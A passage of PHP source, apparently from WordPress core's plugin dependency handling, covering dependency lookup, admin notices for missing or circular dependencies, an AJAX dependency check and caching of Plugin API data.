if ( isset( $dependency_api_data[ $dependency ]['name'] ) ) {
$name = $dependency_api_data[ $dependency ]['name'];
} else {
$dependency_filepath = self::get_dependency_filepath( $dependency );
if ( false !== $dependency_filepath ) {
$name = $plugins[ $dependency_filepath ]['Name'];
} else {
$name = $dependency;
}
}
$dependency_names[ $dependency ] = $name;
}
return $dependency_names;
}
/**
* Gets the filepath for a dependency, relative to the plugin's directory.
*
* @since 6.5.0
*
* @param string $slug The dependency's slug.
* @return string|false If installed, the dependency's filepath relative to the plugins directory, otherwise false.
*/
public static function get_dependency_filepath( $slug ) {
$dependency_filepaths = self::get_dependency_filepaths();
if ( ! isset( $dependency_filepaths[ $slug ] ) ) {
return false;
}
return $dependency_filepaths[ $slug ];
}
/**
* Returns API data for the dependency.
*
* @since 6.5.0
*
* @param string $slug The dependency's slug.
* @return array|false The dependency's API data on success, otherwise false.
*/
public static function get_dependency_data( $slug ) {
$dependency_api_data = self::get_dependency_api_data();
if ( isset( $dependency_api_data[ $slug ] ) ) {
return $dependency_api_data[ $slug ];
}
return false;
}
/**
* Displays an admin notice if dependencies are not installed.
*
* @since 6.5.0
*/
public static function display_admin_notice_for_unmet_dependencies() {
if ( in_array( false, self::get_dependency_filepaths(), true ) ) {
$error_message = __( 'Some required plugins are missing or inactive.' );
if ( is_multisite() ) {
if ( current_user_can( 'manage_network_plugins' ) ) {
$error_message .= ' ' . sprintf(
/* translators: %s: Link to the network plugins page. */
__( '<a href="%s">Manage plugins</a>.' ),
esc_url( network_admin_url( 'plugins.php' ) )
);
} else {
$error_message .= ' ' . __( 'Please contact your network administrator.' );
}
} elseif ( 'plugins' !== get_current_screen()->base ) {
$error_message .= ' ' . sprintf(
/* translators: %s: Link to the plugins page. */
__( '<a href="%s">Manage plugins</a>.' ),
esc_url( admin_url( 'plugins.php' ) )
);
}
wp_admin_notice(
$error_message,
array(
'type' => 'warning',
)
);
}
}
/**
* Displays an admin notice if circular dependencies are installed.
*
* @since 6.5.0
*/
public static function display_admin_notice_for_circular_dependencies() {
$circular_dependencies = self::get_circular_dependencies();
if ( ! empty( $circular_dependencies ) && count( $circular_dependencies ) > 1 ) {
$circular_dependencies = array_unique( $circular_dependencies, SORT_REGULAR );
$plugins = self::get_plugins();
$plugin_dirnames = self::get_plugin_dirnames();
// Build output lines.
$circular_dependency_lines = '';
foreach ( $circular_dependencies as $circular_dependency ) {
$first_filepath = $plugin_dirnames[ $circular_dependency[0] ];
$second_filepath = $plugin_dirnames[ $circular_dependency[1] ];
$circular_dependency_lines .= sprintf(
/* translators: 1: First plugin name, 2: Second plugin name. */
'<li>' . _x( '%1$s requires %2$s', 'The first plugin requires the second plugin.' ) . '</li>',
'<strong>' . esc_html( $plugins[ $first_filepath ]['Name'] ) . '</strong>',
'<strong>' . esc_html( $plugins[ $second_filepath ]['Name'] ) . '</strong>'
);
}
wp_admin_notice(
sprintf(
'<p>%1$s</p><ul>%2$s</ul><p>%3$s</p>',
__( 'These plugins cannot be activated because their requirements are invalid.' ),
$circular_dependency_lines,
__( 'Please contact the plugin authors for more information.' )
),
array(
'type' => 'warning',
'paragraph_wrap' => false,
)
);
}
}
/**
* Checks plugin dependencies after a plugin is installed via AJAX.
*
* @since 6.5.0
*/
public static function check_plugin_dependencies_during_ajax() {
check_ajax_referer( 'updates' );
if ( empty( $_POST['slug'] ) ) {
wp_send_json_error(
array(
'slug' => '',
'pluginName' => '',
'errorCode' => 'no_plugin_specified',
'errorMessage' => __( 'No plugin specified.' ),
)
);
}
$slug = sanitize_key( wp_unslash( $_POST['slug'] ) );
$status = array( 'slug' => $slug );
self::get_plugins();
self::get_plugin_dirnames();
if ( ! isset( self::$plugin_dirnames[ $slug ] ) ) {
$status['errorCode'] = 'plugin_not_installed';
$status['errorMessage'] = __( 'The plugin is not installed.' );
wp_send_json_error( $status );
}
$plugin_file = self::$plugin_dirnames[ $slug ];
$status['pluginName'] = self::$plugins[ $plugin_file ]['Name'];
$status['plugin'] = $plugin_file;
if ( current_user_can( 'activate_plugin', $plugin_file ) && is_plugin_inactive( $plugin_file ) ) {
$status['activateUrl'] = add_query_arg(
array(
'_wpnonce' => wp_create_nonce( 'activate-plugin_' . $plugin_file ),
'action' => 'activate',
'plugin' => $plugin_file,
),
is_multisite() ? network_admin_url( 'plugins.php' ) : admin_url( 'plugins.php' )
);
}
if ( is_multisite() && current_user_can( 'manage_network_plugins' ) ) {
$status['activateUrl'] = add_query_arg( array( 'networkwide' => 1 ), $status['activateUrl'] );
}
self::initialize();
$dependencies = self::get_dependencies( $plugin_file );
if ( empty( $dependencies ) ) {
$status['message'] = __( 'The plugin has no required plugins.' );
wp_send_json_success( $status );
}
require_once ABSPATH . '/wp-admin/includes/plugin.php';
$inactive_dependencies = array();
foreach ( $dependencies as $dependency ) {
if ( false === self::$plugin_dirnames[ $dependency ] || is_plugin_inactive( self::$plugin_dirnames[ $dependency ] ) ) {
$inactive_dependencies[] = $dependency;
}
}
if ( ! empty( $inactive_dependencies ) ) {
$inactive_dependency_names = array_map(
function ( $dependency ) {
if ( isset( self::$dependency_api_data[ $dependency ]['Name'] ) ) {
$inactive_dependency_name = self::$dependency_api_data[ $dependency ]['Name'];
} else {
$inactive_dependency_name = $dependency;
}
return $inactive_dependency_name;
},
$inactive_dependencies
);
$status['errorCode'] = 'inactive_dependencies';
$status['errorMessage'] = sprintf(
/* translators: %s: A list of inactive dependency plugin names. */
__( 'The following plugins must be activated first: %s.' ),
implode( ', ', $inactive_dependency_names )
);
$status['errorData'] = array_combine( $inactive_dependencies, $inactive_dependency_names );
wp_send_json_error( $status );
}
$status['message'] = __( 'All required plugins are installed and activated.' );
wp_send_json_success( $status );
}
/**
* Gets data for installed plugins.
*
* @since 6.5.0
*
* @return array An array of plugin data.
*/
protected static function get_plugins() {
if ( is_array( self::$plugins ) ) {
return self::$plugins;
}
require_once ABSPATH . '/wp-admin/includes/plugin.php';
self::$plugins = get_plugins();
return self::$plugins;
}
/**
* Reads and stores dependency slugs from a plugin's 'Requires Plugins' header.
*
* @since 6.5.0
*/
protected static function read_dependencies_from_plugin_headers() {
self::$dependencies = array();
self::$dependency_slugs = array();
self::$dependent_slugs = array();
$plugins = self::get_plugins();
foreach ( $plugins as $plugin => $header ) {
if ( '' === $header['RequiresPlugins'] ) {
continue;
}
$dependency_slugs = self::sanitize_dependency_slugs( $header['RequiresPlugins'] );
self::$dependencies[ $plugin ] = $dependency_slugs;
self::$dependency_slugs = array_merge( self::$dependency_slugs, $dependency_slugs );
$dependent_slug = self::convert_to_slug( $plugin );
self::$dependent_slugs[ $plugin ] = $dependent_slug;
}
self::$dependency_slugs = array_unique( self::$dependency_slugs );
}
/**
* Sanitizes slugs.
*
* @since 6.5.0
*
* @param string $slugs A comma-separated string of plugin dependency slugs.
* @return array An array of sanitized plugin dependency slugs.
*/
protected static function sanitize_dependency_slugs( $slugs ) {
$sanitized_slugs = array();
$slugs = explode( ',', $slugs );
foreach ( $slugs as $slug ) {
$slug = trim( $slug );
/**
* Filters a plugin dependency's slug before matching to
* the WordPress.org slug format.
*
* Can be used to switch between free and premium plugin slugs, for example.
*
* @since 6.5.0
*
* @param string $slug The slug.
*/
$slug = apply_filters( 'wp_plugin_dependencies_slug', $slug );
// Match to WordPress.org slug format.
if ( preg_match( '/^[a-z0-9]+(-[a-z0-9]+)*$/mu', $slug ) ) {
$sanitized_slugs[] = $slug;
}
}
$sanitized_slugs = array_unique( $sanitized_slugs );
sort( $sanitized_slugs );
return $sanitized_slugs;
}
/**
* Gets the filepath of installed dependencies.
* If a dependency is not installed, the filepath defaults to false.
*
* @since 6.5.0
*
* @return array An array of install dependencies filepaths, relative to the plugins directory.
*/
protected static function get_dependency_filepaths() {
if ( is_array( self::$dependency_filepaths ) ) {
return self::$dependency_filepaths;
}
if ( null === self::$dependency_slugs ) {
return array();
}
self::$dependency_filepaths = array();
$plugin_dirnames = self::get_plugin_dirnames();
foreach ( self::$dependency_slugs as $slug ) {
if ( isset( $plugin_dirnames[ $slug ] ) ) {
self::$dependency_filepaths[ $slug ] = $plugin_dirnames[ $slug ];
continue;
}
self::$dependency_filepaths[ $slug ] = false;
}
return self::$dependency_filepaths;
}
/**
* Retrieves and stores dependency plugin data from the WordPress.org Plugin API.
*
* @since 6.5.0
*
* @global string $pagenow The filename of the current screen.
*
* @return array|void An array of dependency API data, or void on early exit.
*/
protected static function get_dependency_api_data() {
global $pagenow;
if ( ! is_admin() || ( 'plugins.php' !== $pagenow && 'plugin-install.php' !== $pagenow ) ) {
return;
}
if ( is_array( self::$dependency_api_data ) ) {
return self::$dependency_api_data;
}
$plugins = self::get_plugins();
self::$dependency_api_data = (array) get_site_transient( 'wp_plugin_dependencies_plugin_data' );
foreach ( self::$dependency_slugs as $slug ) {
// Set transient for individual data, remove from self::$dependency_api_data if transient expired.
if ( ! get_site_transient( "wp_plugin_dependencies_plugin_timeout_{$slug}" ) ) {
unset( self::$dependency_api_data[ $slug ] );
set_site_transient( "wp_plugin_dependencies_plugin_timeout_{$slug}", true, 12 * HOUR_IN_SECONDS );
}
if ( isset( self::$dependency_api_data[ $slug ] ) ) {
if ( false === self::$dependency_api_data[ $slug ] ) {
$dependency_file = self::get_dependency_filepath( $slug );
if ( false === $dependency_file ) {
self::$dependency_api_data[ $slug ] = array( 'Name' => $slug );
} else {
self::$dependency_api_data[ $slug ] = array( 'Name' => $plugins[ $dependency_file ]['Name'] );
}
continue;
}
// Don't hit the Plugin API if data exists.
if ( ! empty( self::$dependency_api_data[ $slug ]['last_updated'] ) ) {
continue;
}
}
if ( ! function_exists( 'plugins_api' ) ) {
require_once ABSPATH . 'wp-admin/includes/plugin-install.php';
}
$information = plugins_api(
'plugin_information',
array(
'slug' => $slug,
'fields' => array(
'short_description' => true,
'icons' => true,
),
)
);
if ( is_wp_error( $information ) ) {
continue;
}
self::$dependency_api_data[ $slug ] = (array) $information;
// plugins_api() returns 'name' not 'Name'.
self::$dependency_api_data[ $slug ]['Name'] = self::$dependency_api_data[ $slug ]['name'];
set_site_transient( 'wp_plugin_dependencies_plugin_data', self::$dependency_api_data, 0 );
}
// Remove from self::$dependency_api_data if slug no longer a dependency.
$differences = array_diff( array_keys( self::$dependency_api_data ), self::$dependency_slugs );
foreach ( $differences as $difference ) {
unset( self::$dependency_api_data[ $difference ] );
}
ksort( self::$dependency_api_data );
// Remove empty elements.
self::$dependency_api_data = array_filter( self::$dependency_api_data );
set_site_transient( 'wp_plugin_dependencies_plugin_data', self::$dependency_api_data, 0 );
return self::$dependency_api_data;
}
/**
* Gets plugin directory names.
*
* @since 6.5.0
*
* @return array An array of plugin directory names.
*/
protected static function get_plugin_dirnames() {
if ( is_array( self::$plugin_dirnames ) ) {
return self::$plugin_dirnames;
}
self::$plugin_dirnames = array();
$plugin_files = array_keys( self::get_plugins() );
foreach ( $plugin_files as $plugin_file ) {
$slug = self::convert_to_slug( $plugin_file );
self::$plugin_dirnames[ $slug ] = $plugin_file;
}
return self::$plugin_dirnames;
}
/**
* Gets circular dependency data.
*
* @since 6.5.0
*
* @return array[] An array of circular dependency pairings.
*/
protected static function get_circular_dependencies() {
if ( is_array( self::$circular_dependencies_pairs ) ) {
return self::$circular_dependencies_pairs;
}
if ( null === self::$dependencies ) {
return array();
}
self::$circular_dependencies_slugs = array();
self::$circular_dependencies_pairs = array();
foreach ( self::$dependencies as $dependent => $dependencies ) {
/*
* $dependent is in 'a/a.php' format. Dependencies are stored as slugs, i.e. 'a'.
*
* Convert $dependent to slug format for checking.
*/
$dependent_slug = self::convert_to_slug( $dependent );
self::$circular_dependencies_pairs = array_merge(
self::$circular_dependencies_pairs,
self::check_for_circular_dependencies( array( $dependent_slug ), $dependencies )
);
}
return self::$circular_dependencies_pairs;
}
/**
* Checks for circular dependencies.
*
* @since 6.5.0
*
* @param array $dependents Array of dependent plugins.
* @param array $dependencies Array of plugins dependencies.
* @return array A circular dependency pairing, or an empty array if none exists.
*/
protected static function check_for_circular_dependencies( $dependents, $dependencies ) {
$circular_dependencies_pairs = array();
// Check for a self-dependency.
$dependents_location_in_its_own_dependencies = array_intersect( $dependents, $dependencies );
if ( ! empty( $dependents_location_in_its_own_dependencies ) ) {
foreach ( $dependents_location_in_its_own_dependencies as $self_dependency ) {
self::$circular_dependencies_slugs[] = $self_dependency;
$circular_dependencies_pairs[] = array( $self_dependency, $self_dependency );
// No need to check for itself again.
unset( $dependencies[ array_search( $self_dependency, $dependencies, true ) ] );
}
}
/*
* Check each dependency to see:
* 1. If it has dependencies.
* 2. If its list of dependencies includes one of its own dependents.
*/
foreach ( $dependencies as $dependency ) {
// Check if the dependency is also a dependent.
$dependency_location_in_dependents = array_search( $dependency, self::$dependent_slugs, true );
if ( false !== $dependency_location_in_dependents ) {
$dependencies_of_the_dependency = self::$dependencies[ $dependency_location_in_dependents ];
foreach ( $dependents as $dependent ) {
// Check if its dependencies includes one of its own dependents.
$dependent_location_in_dependency_dependencies = array_search(
$dependent,
$dependencies_of_the_dependency,
true
);
if ( false !== $dependent_location_in_dependency_dependencies ) {
self::$circular_dependencies_slugs[] = $dependent;
self::$circular_dependencies_slugs[] = $dependency;
$circular_dependencies_pairs[] = array( $dependent, $dependency );
// Remove the dependent from its dependency's dependencies.
unset( $dependencies_of_the_dependency[ $dependent_location_in_dependency_dependencies ] );
}
}
$dependents[] = $dependency;
/*
* Now check the dependencies of the dependency's dependencies for the dependent.
*
* Yes, that does make sense.
*/
$circular_dependencies_pairs = array_merge(
$circular_dependencies_pairs,
self::check_for_circular_dependencies( $dependents, array_unique( $dependencies_of_the_dependency ) )
);
}
}
return $circular_dependencies_pairs;
}
/**
* Converts a plugin filepath to a slug.
*
* @since 6.5.0
*
* @param string $plugin_file The plugin's filepath, relative to the plugins directory.
* @return string The plugin's slug.
*/
protected static function convert_to_slug( $plugin_file ) {
if ( 'hello.php' === $plugin_file ) {
return 'hello-dolly';
}
return str_contains( $plugin_file, '/' ) ? dirname( $plugin_file ) : str_replace( '.php', '', $plugin_file );
}
}